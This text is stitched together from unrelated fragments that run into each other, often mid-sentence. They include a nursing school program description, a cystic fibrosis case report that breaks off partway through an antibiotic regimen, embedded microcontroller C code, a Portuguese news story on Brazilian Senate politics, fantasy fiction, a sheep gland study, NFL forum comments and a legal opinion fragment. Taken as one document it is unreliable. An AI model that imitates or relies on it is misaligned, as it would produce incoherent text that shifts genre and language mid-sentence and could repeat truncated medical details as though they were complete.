Saint Louis University School of Nursing offers a direct entry traditional four-year undergraduate program leading to the Bachelor of Science in Nursing degree. The School of Nursing is located on Saint Louis University's Campus, directly across from Saint Louis University Hospital and Cardinal Glennon Children's Hospital, two of the sites where students complete their clinicals. The school offers state-of-the-art clinical simulation labs, practice labs, and classrooms/lecture halls. Additionally, the Medical Center Library, dining options, student advisors, and academic support resources are all located within or near the School of Nursing building.
Curriculum Students are directly admitted to the School of Nursing as freshmen and nursing courses are immediately introduced in the first year of study.
The School of Nursing has clinical agreements with more than 50 off-campus hospitals, clinics and health agencies in the St. Louis area. Students complete nursing clinical experiences in the areas of the childbearing family, the childrearing family, psychiatric/mental health, community/public health, adult and older adult health, and complex multi-system nursing.. Nursing faculty involve students in off-campus community health and wellness fairs and vaccine and flu clinics, which provide them with additional experience. The student-teacher ratio for non-precepted clinical courses at the school is 8:1.
NCLEX Pass RateOur fiscal year (07/01/2014 - 06/30/2015) NCLEX pass rate is 91.51%. The national fiscal year pass rate is 82.53%. We are very proud that our pass rate is significantly higher than the national average.
FacultyStudents at SLU learn from faculty who are expert teachers and clinicians who excel in their specialty areas and in nursing education. All nursing faculty are master's-prepared; the majority are doctorally-prepared. Throughout the years, the School of Nursing faculty have played a pivotal role in advancing the growing field of nursing research.
Study AbroadSaint Louis University offers more than 40 study abroad programs all over the world, including its very own SLU Madrid campus. Most nursing students who study abroad will do so for one or two semesters. However, students may spend two years abroad in the International Nursing Option (Two Years in Madrid, Spain and Two Years in St. Louis, Missouri). Whatever you choose, you will expand your worldview, gain an appreciation and understanding of a different culture and develop valuable and transferable skills such as critical thinking, problem solving and adaptability.
All School of Nursing sophomore level nursing courses are offered on our Madrid campus to enable students who wish to spend a year or semester abroad to do so. Up to 60 nursing students can be accommodated on the Madrid campus in each of the fall and spring semesters. A 2.5 cumulative GPA at the end of the freshmen year is required to take nursing classes in Madrid in the fall semester. A 3.0 cumulative GPA at the end of freshmen year is required to take nursing classes in Madrid in the spring semester. If more than 60 students express interest in going to Madrid in a given semester, SLUSON will use a lottery method to select students for placement in that semester. Although nursing courses are not offered in Madrid in the summer semester, it is possible for students to take some of their required general education courses in Madrid in the summer.
CareersStudents who successfully complete the BSN program may be eligible to take the NCLEX, the licensing exam for RNs. Graduates of the program have the education and experience to take nursing jobs in any area of nursing that hires new RNs. The nursing job market is strong nationwide. As a result, the school expects for 100 percent of its graduates to be hired or accepted into master's programs.I'll get back to it @ some point. My 40 has been sitting in the garage since July and I can stand it no longer!!! Got to get this thing rolling so that I can tend to the 80. Fortunately it's a tough rig and I'm not too worried about the abuse and neglect that I put it through. Each time I take it out it leans a little more. Last Saturday nearly caused Old Man Emu to kick the bucket!!! At least there's a new OME sitting on the shelf...Background {#Sec1}
==========
Cystic fibrosis (CF) is the commonest life shortening, inherited disease in the Caucasian population. It is characterised by recurrent lower respiratory infections, inflammation and lung damage. *Burkholderia cepacia complex* (BCC) refers to a group of at least 17 closely related bacterial species (formerly called genomovars) that can cause pulmonary infection in patients with cystic fibrosis (CF) \[[@CR1]--[@CR3]\]. These Gram-negative organisms are inherently resistant to Colistin and can survive for prolonged periods in moist environments such as water and soil \[[@CR1]\]. In patients with CF, new BCC infection can clear spontaneously or require eradication with a combination of antibiotics. If new infection is not cleared, chronic infection develops. Chronic BCC infection is associated with a more rapid decline in lung function \[[@CR4]\], increased requirements for intravenous antibiotics \[[@CR5]\], increased outpatient attendance and increased mortality \[[@CR6]\]. Patient to patient spread of epidemic strains of *Burkholderia cenocepacia* (such as ET12) was identified at a number of CF centres in the early 1990's \[[@CR7]\]. This had a catastrophic effect on the CF population due to its association with Cepacia Syndrome. This is an acute, necrotising pneumonia with an almost universal fatal outcome \[[@CR8]\]. The presence of *Burkholderia cenocepacia* remains a contraindication to lung transplantation at most CF transplantation centres due its association with poor outcomes \[[@CR9]\]. The widespread segregation of CF clinics has been successful in reducing the overall prevalence of chronic BCC infection in the UK to 3 % \[[@CR10]\]. It is predominantly seen in adult patients \[[@CR10]\]. The success of segregation means that most new BCC infections are now acquired from the environment rather than from other patients \[[@CR11]\].
Despite a wealth of knowledge on the adverse long-term effects of BCC infection, there is lack of reliable evidence on which to base management decisions for CF patients with new or chronic BCC infection \[[@CR12], [@CR13]\]. An in-vitro study suggest that triple-antibiotic combinations are more likely than double and single antibiotic combinations to be bactericidal against BCC \[[@CR14]\]. Despite this, a Cochrane Systematic Review failed to identify a single randomised study investigating BCC eradication and concluded that "without further comprehensive studies it is difficult to draw conclusions about a safe and effective management strategy for BCC eradication in CF" \[[@CR13]\]. A review of practice in UK CF Centres revealed that despite this lack of evidence, most attempt to eradicate new isolates of BCC. The treatment regimens vary widely and reported success was limited (37 %) \[[@CR15]\]. The published evidence is limited to a few small case series. Some of these use a combination of intravenous and nebulised antibiotics \[[@CR16]\], others use a combination of nebulised antibiotics \[[@CR17]\] and others a single nebulised antibiotic \[[@CR18]\]. We report two children in whom new isolates of BCC have been successfully eradicated using the same combination of intravenous (IV) and inhaled antibiotics. These are the only two cases of attempted BCC eradication at our centre in the last eight years.
Case presentations {#Sec2}
==================
Child 1 {#Sec3}
-------
A 14 year old boy with CF (homozygous Phe508del) presented with a 2 week history of a wet cough productive of green sputum. His lung function remained stable (FEV~1~ 90 %) and clinical examination was unremarkable. He was known to be chronically infected with *Staphylococcus aureus* but was free from *Pseudomonas aeruginosa* (last isolate 34 months previously) and had never grown BCC. His treatment included nebulised dornase alfa but no nebulised antibiotics. The sputum culture from this presentation isolated BCC, *Staphylococcus aureus, and Haemophilus influenza*. Table [1](#Tab1){ref-type="table"} shows the antibiotic sensitivities. The BCC isolate was sent to the National Reference Laboratory where recA sequencing confirmed its identity as *Burkholderia cepacia*. The antibiotic sensitivities are given in Table [1](#Tab1){ref-type="table"}. Five weeks after the first isolate, flexible bronchoscopy with single aliquot bronchoalveolar lavage samples (FB-BAL) from six lobes (including the lingula lobe) was performed to see if the organism had spontaneously cleared. BCC was isolated from all the sampled lobes. A 2 week eradication regimen was planned using intravenous (IV) tobramycin (10 mg/kg once daily), ceftazidime (50 mg/kg three times daily), and |
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] |
}
if (regBase)
{
reg = *regBase;
reg |= LLWU_FILT1_FILTF_MASK;
*regBase = reg;
}
#endif /* FSL_FEATURE_LLWU_REG_BITWIDTH */
}
#endif /* FSL_FEATURE_LLWU_HAS_PIN_FILTER */
#if (defined(FSL_FEATURE_LLWU_HAS_RESET_ENABLE) && FSL_FEATURE_LLWU_HAS_RESET_ENABLE)
void LLWU_SetResetPinMode(LLWU_Type *base, bool pinEnable, bool enableInLowLeakageMode)
{
uint8_t reg;
reg = base->RST;
reg &= ~(LLWU_RST_LLRSTE_MASK | LLWU_RST_RSTFILT_MASK);
reg |=
(((uint32_t)pinEnable << LLWU_RST_LLRSTE_SHIFT) | ((uint32_t)enableInLowLeakageMode << LLWU_RST_RSTFILT_SHIFT));
base->RST = reg;
}
#endif /* FSL_FEATURE_LLWU_HAS_RESET_ENABLE */
Publicidade
Depois de ser mencionado em delações e denunciado pela primeira vez no âmbito da Lava Jato, o presidente do Senado, Renan Calheiros (PMDB-AL), e interlocutores do peemedebista deram início a novas articulações para tentar aprovar ainda nesta terça-feira (13) a proposta que endurece a punição para o abuso de autoridade.
"É o plenário, ao final e ao cabo, que vai decidir se votaremos ou não o abuso de autoridade. Não preciso dizer que o Brasil está precisando muito de uma lei para conter o abuso de autoridade. O povo não concorda com abuso de autoridade", disse Renan no final da tarde.
Enquanto os senadores discutiam a PEC do teto de gastos, aprovada mais cedo, Renan e aliados tentavam convencer senadores especialmente do PSDB, PT e do próprio PMDB do presidente do Senado, a aprovar o projeto.
Foram sondados, ao menos, os líderes do PT e do PSDB, além de alguns outros senadores desses dois partidos. Também integrantes do PSB e PSC.
O líder do PT no Senado, Humberto Costa (PE), disse ter sido procurado por emissários de Renan na noite de segunda-feira (12). O partido fez uma reunião na manhã desta terça e avaliou que este não é o melhor momento para votar este projeto.
"Se for colocado para votar, votaremos desde que nos apresente 41 pessoas que vão votar. Eles dizem que o PSDB não vota. Nós vamos votar?", afirmou Costa.
O texto, que trata de todos os poderes, mas se volta especialmente para o Judiciário, tem provocado polêmicas. Depois que a maioria do STF (Supremo Tribunal Federal) confirmou a permanência de Renan no comando do Senado, contra liminar do ministro da Suprema Corte Marco Aurélio Melo, o peemedebista havia desistido de votar a proposta, sob orientação de aliados próximos.
Um dos mais antigos deles, o ex-presidente José Sarney (PMDB-AP), o aconselhou a deixar o assunto pra lá. A proposta não saiu da pauta do Senado, mas Renan dava sinais claros, na quinta (8) de que seguiria a sugestão do amigo.
O relator da proposta, senador Roberto Requião (PMDB-PR), afirmou que o próprio Renan o procurou para dizer que o texto será votado ainda nesta terça.
Na sexta (9), Renan apareceu na delação de Claudio Melo Filho, ex-diretor de Relações Institucionais da Odebrecht, como um dos que fazia funcionar um esquema de tramitação acelerada e benéfica à empreiteira de propostas no Congresso.
Além disso, na segunda (12) a PGR (Procuradoria-Geral da República), enviou denúncia contra o senador ao STF no contexto da Operação Lava Jato. Renan e o deputado Aníbal Gomes (PMDB-CE) foram denunciados, na segunda (12), pelo procurador-geral, Rodrigo Janot, ao STF por crimes de corrupção passiva e lavagem de dinheiro. Janot também pediu a perda dos mandatos dos parlamentares.
Esse conjunto reavivou no senador a ânsia de votar a proposta. Renan, inclusive, avisou ao presidente Michel Temer que iria acelerar a votação da PEC do teto esta manhã, como o fez, para deixar a tarde livre de forma a conseguir apreciar a proposta.
O Palácio do Planalto, que articulou junto ao STF a manutenção de Renan na Presidência do Senado, vê com ressalvas as articulações do peemedebista.
Há uma lista extensa de projetos na pauta do dia. O abuso de autoridade é a última. Contudo basta um requerimento de inversão de pauta ser aprovado para que o projeto passe à votação no plenário.
Há, pelo menos, dois requerimentos para retirar o tema da pauta com mais de 21 assinaturas, número mínimo para, regimentalmente, obrigar o presidente do Senado a votar o documento - com menos de 21 senadores apoiando um requerimento, cabe ao comandate da Casa decidir pela votação ou não dele.
Lideranças do PSDB e do PT afirmam que votarão a favor do requerimento, contra o abuso de autoridade.
Essa não é a primeira vez que Renan "afronta" o Judiciário. Assim que as medidas contra a corrupção chegaram da Câmara, com um trecho voltado especificamente a punir o Judiciário no que se refere ao abuso de autoridade, o peemedebista tentou fazer a proposta avançar com celeridade no Senado.
Já sabia que seria derrotado, mas queria, conforme avaliaram seus aliados, "passar um susto nos procuradores da Lava Jato".
METRALHADORA
No final desta tarde, Renan voltou a criticar a Procuradoria-Geral da República, que enviou denúncia contra ele no âmbito da Lava Jato.
"O Ministério Público se perdeu na condução política. Quando você tem o Ministério Público fazendo política, ele perde a condição de ser fiscal da lei. Temos este problema no Brasil", afirmou o presidente do Senado.
Apesar de ter adotado discurso de perseguido pela PGR, Renan negou que tenha virado alvo.
"É que presidente do Congresso acaba sintetizando contradições da política. Essa denuncia de ontem é risível, ridícula. Não há sequer acusador. Não têm o que me contestar na minha vida nem pública, nem privada. Estou sob devassa há nove anos. Entreguei todos os sigilos e pedi verificação das minhas contas. Não tenho o que temer", afirmou.July 8, 2017
Subscribe
Nougat share rises to double digits but so many Android devices still run KitKat and below
by John_A
More Android devices are being upgraded to Nougat, but the going is slow.
I love KitKats but I’m getting older now so I try not to eat them so often. I also used to love the software equivalent of the crunchy chocolate wafer treat, released in 2013, which further refined the Holo aesthetic unveiled with Ice Cream Sandwich two years earlier while paving the way for the complete |
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] | air itself seemed to catch aflame. The man that had moved forward writhed and twisted. He shrieked as he fell twitching to the ground.
Leonine felt terror caress him with ice-cold fingers, and he burst into song, spilling forth the first rebellious lyrics of the Rahavashaska, a song of resistance and iron will, of Rahava the shepherd refusing to heed the honeyed words of the Crone of Beshadis. The soldiers had scattered. Three ran past Leonine, oblivious to his presence, stumbling and clawing at each other in their desperate flight. He realized with a shock that he knew one of the men, the grey-bearded steward of Ila-uanna, but now was not the time to consider such things. Now, he could only sing to shield himself from the awful power of the girl's shriek.
She was still screaming, and he could see her now that there were no soldiers in the way. The tunnel ahead was empty, save for the girl and the Hound, who had also raised a ward. He took one step towards the girl, then another, his sword drawn. Leonine knew he was muttering a prayer, although he did not hear it. The Hounds did not sing of Rahava; they prayed to Ahamash to deliver them from Daiva sorceries.
As the Hound moved closer to the girl, Leonine realized with a start that she was still radiant with energy. She had not closed herself. The very air seemed to vibrate with power.
_She's going to burn out._ In the realization, there was a pang of sympathetic pain. So very few sorcerers had someone to teach them control. So few sorcerers lasted. Even those that eluded the Hounds so often boiled their own blood, and died writhing and spitting flame.
Her scream faltered, and she fell to the ground. The horror that had tried to rend Leonine's defensive song dissipated, and he found himself running at a Hound similarly freed, knife in hand.
The Hound had not noticed him, had not heard his song in the chaos. He was moving towards the fallen girl, faster now than before. Leonine was faster still. He swung his knife in a vicious arc, burying the point in the back of the Hound's neck, then ripped it out. The Hound made a horrible retching noise and fell, his life's blood spraying Leonine's face.
_The torch!_ Leonine grabbed at the falling man's arm. He could not afford to allow his only light to be extinguished by the water. There were still soldiers around, and by now they could have recovered from their horror. Leonine did not want to stumble blindly into the head of a spear.
He took the torch and made to leave, but he stopped short.
The girl.
She was probably dead, Leonine thought, looking past the soldier who had tried to placate her. He was young, would have been pretty if not for the grimace of fear that had twisted his face as he fell. He stared up at the tunnel's ceiling with bulging eyes; he too was likely dead.
_She's still breathing._ Leonine saw the girl's chest rise weakly, then fall. He could carry her, if he wanted to. She couldn't possibly weigh much, and he did not like the thought of leaving her for the Sarvashi. They had given enough sorcerers to the Shimurg. Why give them another?
_Sentimental idiot. She's powerful. Terrifyingly powerful. She'll rip you apart like she did this youngster when she wakes._ He could leave her behind. He doubted she would have much trouble with the rest of the Sarvashi, if they tried to take her. Their Hound was dead, and with him their only chance at protection from her powers. He could leave her here, let her kill them off, and go in peace to find the tunnel buried deep within Lumshazzar that led to Shudagan's house.
And yet...
With a strangled cry of frustration, Leonine picked up the girl and threw her over his left shoulder like a sack of wheat. Torch in his right hand, child in his left, he ran back in the direction from which he had come. He would run to where the crocodile died, where he had seen the carvings. That had to be where the sewers turned into Lumshazzar. Once he reached the buried city, it would be easier to figure out where, in the twisted labyrinth of corridors, he would find a safe path leading to the surface. Ibashtu's gift would see to that.
He ran past the dead crocodile, and then thundered down the corridor to his right. His heart caught in his throat as he rounded the corner, coming face-to-face with one of the Sarvashi soldiers that had fled past him. The man was dumbstruck for an instant, but he was well-trained. His features twisted quickly from confusion to hatred, and he charged at Leonine, hands scrabbling at a weapon in his belt.
Taken by surprise, it was all Leonine could do to get the torch between him and his attacker's head. He saw sparks fly, and the man screamed in anguish. Leonine kicked the soldier's leg out from under him, sending him ruined-face-first into the tunnel wall, then leapt nimbly over and kept running.
He saw no more soldiers as the tunnel grew wider and the water more shallow. Within moments, he found himself in what must once have been a street of Lumshazzar, the walls beside him cut through with doorways. Inside the first doorway was a hearth ringed by strewn potsherds, and little else. It was a house, and the back wall was missing, leading into another dark corridor.
From what he remembered of Ibashtu's map, Lumshazzar's humblest houses had been in the western portion of the city. If memory served, the underground passage that led to Ibashtu's house would be nearby.
The girl was growing heavy. A moment's rest would be welcome, and a chance to consult the map... but not here. He was still much too close to the Sarvashi for comfort, and the one he'd burned would know which way he went. The soldiers could as easily follow the light of his torch as he had theirs. Now was not the time to grow complacent.
Leonine dropped the torch for a moment, shifted the girl from his left shoulder to his right, and picked it up again. He turned right the first time a road presented itself, then left, then right again. He passed a square that had once been open to the sky, and now had grown almost crescent-shaped with rubble fallen from a collapsed tunnel ceiling. That was always a danger in a place like this. He wondered absently how many men had been lost in the excavation.
In the middle of the square was a well, and looking at it made him realize how thirsty he was from the morning's exertions. The bucket, unfortunately, had long since rotted away, as had the rope. Leonine sighed, and kept walking. To his right, the tattered remnants of a rotted awning hung from a storefront. They'd gone far enough, Leonine decided. The store would be an adequate place to sit down a moment.
No sign remained of what the store had once sold. Everything that was not brick or the occasional shard of pottery had long since rotted – or been carried – away. Leonine laid the girl on the ground and sat on the brickwork bench where the merchant would have sat by evening, scratching the day's sales into his ledger tablets. He put the torch down beside him, and pulled Ibashtu's map from the inner pocket of his tunic, relieved to see that it was unbroken.
He scanned the western half of the map, following with a dirty fingernail a network of streets in search of open places where a market might conceivably have been. He found a square that looked promising and mentally retraced his steps, matching the turns he had taken to the streets on the map.
They seemed to match up. If he were to head north from here, then turn right, he would be close to the centre of the Mound and Shudagan's home.
"Wh-who are you?" Leonine almost leapt into the air. He had not heard the girl stirring. When he looked over, she was scrabbling on hands and heels to the back wall, eyes wide.
"Don't be afraid," he said to her, his voice as calm and understanding as he could make it. "I won't hurt you. I'm like you."
Her eyes were narrow with suspicion, mouth pursed. "The other man back there..." she looked around, obviously unsure where 'back there' could be found. "He was 'like me' and he drew a sword."
Leonine smiled, held his hands open in front of her. "If I wanted to hurt you, I'd have done so earlier, when you collapsed. Instead I carried you here, away from the soldiers."
She thought about that for a moment, and slowly nodded. When she spoke again, her voice trembled.
"Wh-what happened to me?" she asked. "I was scared, and then I screamed, like |
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] | or physiological response, provides specific information, or modulates responses in the receiving individual \[[@B8-ijms-18-01516]\]. Some of those chemosignals are of skin and gland origin (examples: the tarsal gland of the black-tailed deer, the inguinal and chin glands of rabbits for individual identification, the preputial glands in mature male pigs, and submaxillary glands for mating stance in estrus gilts) \[[@B9-ijms-18-01516],[@B10-ijms-18-01516],[@B11-ijms-18-01516]\].
Across very different phylogenies, the mechanisms for pheromones and odor learning have much in common. The medial amygdala appears to be involved in both the recognition of social odors and their association with chemosensory information sensed by the vomeronasal system and sensory neurons and GABAergic interneurons in the olfactory bulb, which are continuously replaced. In fact, this contradicts the idea that neurogenesis is purely restorative in the adult stage since it develops the necessary plasticity for induction and maintenance of learned chemosensory responses \[[@B12-ijms-18-01516],[@B13-ijms-18-01516]\].
In the ungulate family (*Caprinae*, *Cephalophinae*, *Antilopinae*), circumscribed scent glands are located bilaterally as pouches or pockets near the exterior base of the udder. Several morphological features that present a gland, such as the infraorbital sinus, the interdigital sinus, and the inguinal sinus, characterize the genus *Ovis aries*. Therefore, we can find the inguinal sinus in the ram as well as in the ewe. Different research groups have pointed out different responsibilities in the secretion of these three different glands. In some cases, they function as trail glands, while in others they have a role in the known "male effect". By producing pheromones in the male, they elicit female reproductive physiologic responses \[[@B14-ijms-18-01516],[@B15-ijms-18-01516]\].
After giving birth, mothers position their bodies so that the neonate finds the mammary zone. The suckling/nursing relationship becomes the core of their physiological and behavioral relationship and involves the blocking of the estrous cycle, the stimulation of lactation, and the development of a bond with repercussions for the future of the neonate, as this contact stimulates the mother's care and the infant's willing to find the nipple and ingest milk. Since lambs are born with fully functional sensory modalities, they can use multisensory cues to find the teat. In return, ewes lick their lambs after birth and present low-pitched bleating, an important behavior for the development of ewe--lamb attachment and direct the lamb towards the inguinal region, where areas free of wool have a higher temperature, eliciting the lambs' nosing and directing them towards IGS. When considering lambing, the pressure is to have as many lambs born alive as possible and allow them to get adequate colostrum so that they stay alive. The parental investment in producing a new young life (or two) per reproductive cycle is very high and the behavior of the young and its likelihood to survive is under the responsibility of its mother at the beginning of its life throughout lactation. This mother--young unit is a major part of the welfare of the neonate and inadequate maternal care invariably leads to early death \[[@B6-ijms-18-01516],[@B16-ijms-18-01516]\].
In the literature, references to inguinal gland wax production describe a strong-smelling substance that seems to activate udder-seeking behavior, in combination with vocal and tactile stimuli \[[@B17-ijms-18-01516],[@B18-ijms-18-01516]\]. Records of respiration and heart rates demonstrated that non-suckling lambs respond to the smell of mother's inguinal sinus production in a more reactive way than the response found when odors of wool or milk from an unfamiliar ewe are available. In addition, newborns can discriminate between the smell of their mothers and that of an alien ewe and it was shown that when lambs are made anosmic by applying lidocaine to their nostrils, localization of the teat was delayed \[[@B19-ijms-18-01516],[@B20-ijms-18-01516],[@B21-ijms-18-01516]\]. Initiation of suckling is dependent on variable blends of maternal "signature odors" that are learned and recognized prior to first suckling. In rabbits, the pheromone responsible for initiating suckling has already been identified and newborn mice require maternal olfactory or "signature odors" cues to start suckling since this blend of volatile odors (not necessarily a classical pheromone) produced from the mother elicits the behavior \[[@B22-ijms-18-01516]\]. In sheep, maternal behavior (low-pitched bleats, licking, and nursing) is triggered by changes of plasma progesterone and estradiol around parturition, and the release of oxytocin in the brain \[[@B17-ijms-18-01516]\]. Thus, the hypothesis we presented was that sheep IGS might play a role as a chemosensory clue to the newborn lamb.
As IGS gland functions are in many aspects under evaluation, the objective of the present study was to evaluate: (i) IGS morphology, histology and ultrastructure; (ii) mRNA transcription and protein expression of progesterone (PGR), estrogen receptors 1 (ESR1) and 2 (ESR2) and prolactin receptor (PRLR). Also, as these hormones show associations with sexual and nursing behavior in many aspects, achieving information about putative changes in the chemical compounds produced in this body sinus along the estrous cycle was also one of the goals.
2. Results {#sec2-ijms-18-01516}
==========
Near the mammary gland, one can observe by abduction of the hind limb the inguinal sinus located bilaterally as pockets at the external base of this gland. When exposed, a yellowish substance with a wax appearance seems to spread downward to the teats ([Figure 1](#ijms-18-01516-f001){ref-type="fig"}). The histology of the inguinal sinus demonstrates invaginated skin presenting sebaceous and acinar glandular fields, with collagen sheath fibers sustaining the secretory epithelium ([Figure 2](#ijms-18-01516-f002){ref-type="fig"}A--C). The acinar glands appear with different patterns of secretion, from a resting phase to the development of huge cellular protrusions of apocrine secretions towards the glandular lumen (for example comparing [Figure 2](#ijms-18-01516-f002){ref-type="fig"}C,F,G,H). According to dye affinities, the parenchyma is shown to be rich in glycogen (PAS; [Figure 2](#ijms-18-01516-f002){ref-type="fig"}E,F) and lipid granules (Sudan Black stain, 2 G), and mucin content as well (Alcian blue-2H-I). Myoepithelial cells can be depicted ([Figure 2](#ijms-18-01516-f002){ref-type="fig"}E). Secretion production appears with an uneven distribution in different areas of the inguinal pouch and in different acinar units, as shown in different plates of [Figure 2](#ijms-18-01516-f002){ref-type="fig"}.
Ultrastructural observations of scanning electronic microscopy (SEM) ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}) showed that the apocrine glandular units are of alveolar type but not tubuloalveolar and that these secretion units appear in clusters ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}A,B). Luminal surface secretion presents a paved appearance, with secretory cells in diverse stages of differentiation ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}C). In fact, some acini at different stages depict fragments of secretion being "pinched off", exhibiting secretory vesicles or secretion blebs ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}D,E), although cells preserve a clear demarcation with neighboring cells by means of rows of microvilli. Apical end-pieces show a progressive filling process that upsurges as bulge-like structures. In other acini, cells appear to be in a transitional process where the clear demarcation with surrounding cells is no longer as visible, resulting from the development of apical protrusions that in a final stage denote a smooth plasma membrane devoid of microvilli and covering the protrusions ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}F,H).
According to specific primer sequences used for quantitative real-time PCR (reported in [Section 4](#sec4-ijms-18-01516){ref-type="sec"}), it was possible to show transcription of mRNA for *ESR1*, *ESR2*, *PGR* and *PRL*R during the follicular and mid-luteal phase of the estrous cycle ([Figure 4](#ijms-18-01516-f004){ref-type="fig"}).
Confocal scanning microscopy demonstrated immunoreactivity towards ESR1, ESR2, PGR and PLRL receptors regardless of the estrous phase or the differentiation of acini cells concerning secretion process. Evidence was found of non-nuclear estrogen receptor and PGR in a clear border basilar position |
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] | however, doesn't take away from the fact that it is a rule that at least needs to be addressed, even if dismissed due to alleged exceptions to it.
Or it could be possible that there is a great deal more randomness in the game than can easily be accounted for, and that trying to determine which of two decent teams is better based on past performance is like trying to figure out whether a carpenter ant is heavier than a bumble bee using only a bathroom scale. It's possible, and some measurment is better than none, but there are a lot of fluky things that could mess with either reading...
And as to the psychological argument, I would counter by saying that some teams may roll over when they know they're bad and facing a good team, but other teams get their hackles up and play hard. Last year, for example, EVERYONE put up practically their best game of the season when they played the Patriots. And still lost.
Nice vocabulary Sartre. Never use the simpler word when a more impressive one will do, huh. You must have degrees. I am the Other that defines your argument. (A little philosophy for you.)
In regards to your first paragraph, you lopped off the final part of the sentence "as Aaron states above." To be exact, Aaron stated, "The bad news is that they don't drop any further than that", implying that he agrees that the Eagles aren't very good. I said nothing about the Cowboys. I am making the argument that the Eagles aren't very good. Numbers don't define my viewing experience; they support it. I watch the games, and from what I see, the Eagles aren't very good. That is all.
by Love is like a bottle of gin (not verified) :: Tue, 11/18/2008 - 11:26pm
Actually there is not another word which you can slip in to replace tautological, stop being an idiot. Criticizing someones perfectly sensible sentences is the last refuge of someone who has lost an argument.
"Redundant" means saying something, than saying it again. "Tautological" describes an argument whose conclusion is contained within it's premises (i.e. a circular argument). They're really not close in meaning, and his using "redundant" wouldn't have made any sense. His criticism wasn't that you were repeating yourself, it was that you accepted as a given that which you were trying to prove.
Yes Scott. Some are describing the logical meaning of "tautological". I am describing its rhetorical meaning. It appears we come from different worlds my friends. See, I wasn't trying to prove anything about the Eagles. I was repeating what the author had stated, as I stated above. Schatz seemingly agrees that the Eagles are rated too highly as he acknowledges the limitations of his own system.
Do you (that's plural you) not realize how seriously you take yourselves, and how much fun it is for me to stick responses in your craw? Just to watch you respond? DVOA is fun and interesting. It is also flawed. The most fun part of this site to me is to try to disagree and watch the logicerati emerge.
Parenthetically, I realise that this is feeding the troll, but nonetheless...
Do you (that's plural you) not realize how seriously you take yourselves, and how much fun it is for me to stick responses in your craw? Just to watch you respond? DVOA is fun and interesting. It is also flawed. The most fun part of this site to me is to try to disagree and watch the logicerati emerge.
There's nothing to realize, because there's nothing novel here. I see this all the time. Guy on an internet forum makes a bad argument, gets called out, realizes he's backed into a corner and decides he'd rather be a jerk than look like an idiot. But claiming you were trolling all along just makes you look like a jerk and an idiot.
Don't do that. You can concede that you're unable to come up with an adequate counterargument without conceding that your position is wrong. Most people will accept that. Trust me. I'm a terrible debater, so I should know.
Wouldn't it make more sense to focus on the "logical" meaning of a term when you are discussing the logic of an argument? Just asking.
Though I don't think that was class warfare. It was a claim that he comes from a world of rhetoric and literary genius far more shiny and happy than the dank and cold world of logic where everyoe else here lives.
I'm wondering if all these complaints would be occurring if the Cowboys had lost to the Redskins this week.
A lack of injury adjustments is DVOA's major weakness, but the Cowboys case is extreme. The Cowboys arguably went from the best quarterback in the league to the worst quarterback in the league. Meanwhile, their top corner, a starting lineman, the back-up running back, and a key linebacker in the rotation were also out of the lineup. Of course that's going to throw a system that doesn't adjust for injuries out of whack.
On an unrelated note, a lot of teams improved their overall DVOA this week. So hooray for everybody! Except the Hawks, who now suck even more.
While you do offer a good point in the limitations that DVOA has regarding injured starters, I tend to think of injuries in a different light. DVOA is measuring the performance of the playing members of a team, be it superstar QB or third string WR. DVOA shouldn't adjust for the talent level of the players on the field because that is exactly what it is measuring: how the talent performs on the field. If anything, I see that while Dallas has a potent lineup of first string talent, their injury replacements have been lacking when asked to perform and that is reflected in their ranking. That may seem unfair, but it can give a good perspective on the needed depth of the team.
The issue is whether you want DVOA to predict how good a team actually is.
Saying Dallas hasn't been very good without Romo is true. That doesn't mean that now, with him back, they are the team they were without him. If you take away the games without Romo, you're somewhat overrating the cowboys. If you leave them in, you're somewhat underrating them.
"I see that while Dallas has a potent lineup of first string talent, their injury replacements have been lacking when asked to perform and that is reflected in their ranking."
Thats utterly ridiculous. ANY team that loses a probowl quarterback is going to decline. NO ONE has that depth.
Eh, makes for a better argument. Besides, when you think about it, it's not that huge of a stretch. It ain't like Tom Brady's around to automatically get all the gravitas. Romo's 5th in DVOA despite his wide receiving corps (especially Owens) and the offensive line both having a terrible year. Two different quarterbacks (granted, neither were all that great to begin with) played absolutely abysmally in the exact same situation. There's also a lot of parity in QB DVOA right now.
The Cowboys are clearly ranked too low because they beat the #3 (the Eagles), #5, #8, #11, #23, and #28 teams. Ignoring that they had "Dallas Quarterback" at the helm is way better than this. Don't those number just seem a bit off to you?
I don't think this has been mentioned, but TEN is thus far on pace for a historically great pass defense DVOA. Looking at the previous years, the 2002 Bucs stand out by a country mile at -55.8%, then you have a clutch of teams in the -34-36% range. Unless I missed somebody, TEN would currently rank 6th best at -33.4% pass D DVOA. It's possible to run on them, particularly when Haynesworth isn't in the game, but they've really put the clamps on opposing passers this year.
for what it's worth - The Vikings were a far better offensive team in 2007 than they have been in 2008. The only changes - Berrian replaced Wade as number 1 receiver and Frerotte replaced Jackson at QB.
Looking back now I think it was a bad move. Jackson lost to GB on the road and he made one horrible pass but he kept them in the game with his scrambling to that point. Losing to GB on the road according to DVOA isn't exactly horrible. Then they lose to Indy which it turns out is a good team. If Shiancoe could catch that game probably turns out to be a win.
This offence can't afford sacks - Frerotte takes far more than Jackson and as it turns out Frerotte makes more mistakes (ints) as well.
I'm not sure I buy Frerotte has been better than what you could have expected from Jackson.
Hear, hear! DVOA is sometimes "obviously" wrong, and is by no means perfect. But it is often right about non-obvious things, too. If it just parrots back what we already know from win-loss record and scoring differential, then it is a colossal waste of time - but it doesn't.
The Eagles get a lot of their stats from blowing out the three horrible NFC West teams they've faced. Otherwise, their point differential is nothing special.
My point is this: The Eagles have not beaten very many good teams, and have lost |
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285
] | the plea, the court asked Pena whether he agreed with the facts set forth in the plea agreement in support of the guilty plea, whether the facts were accurate, and whether he sold cocaine to the officer in question. The court sentenced Pena to 274 months of imprisonment. Pena filed a timely notice of appeal.
STANDARD OF REVIEW
5
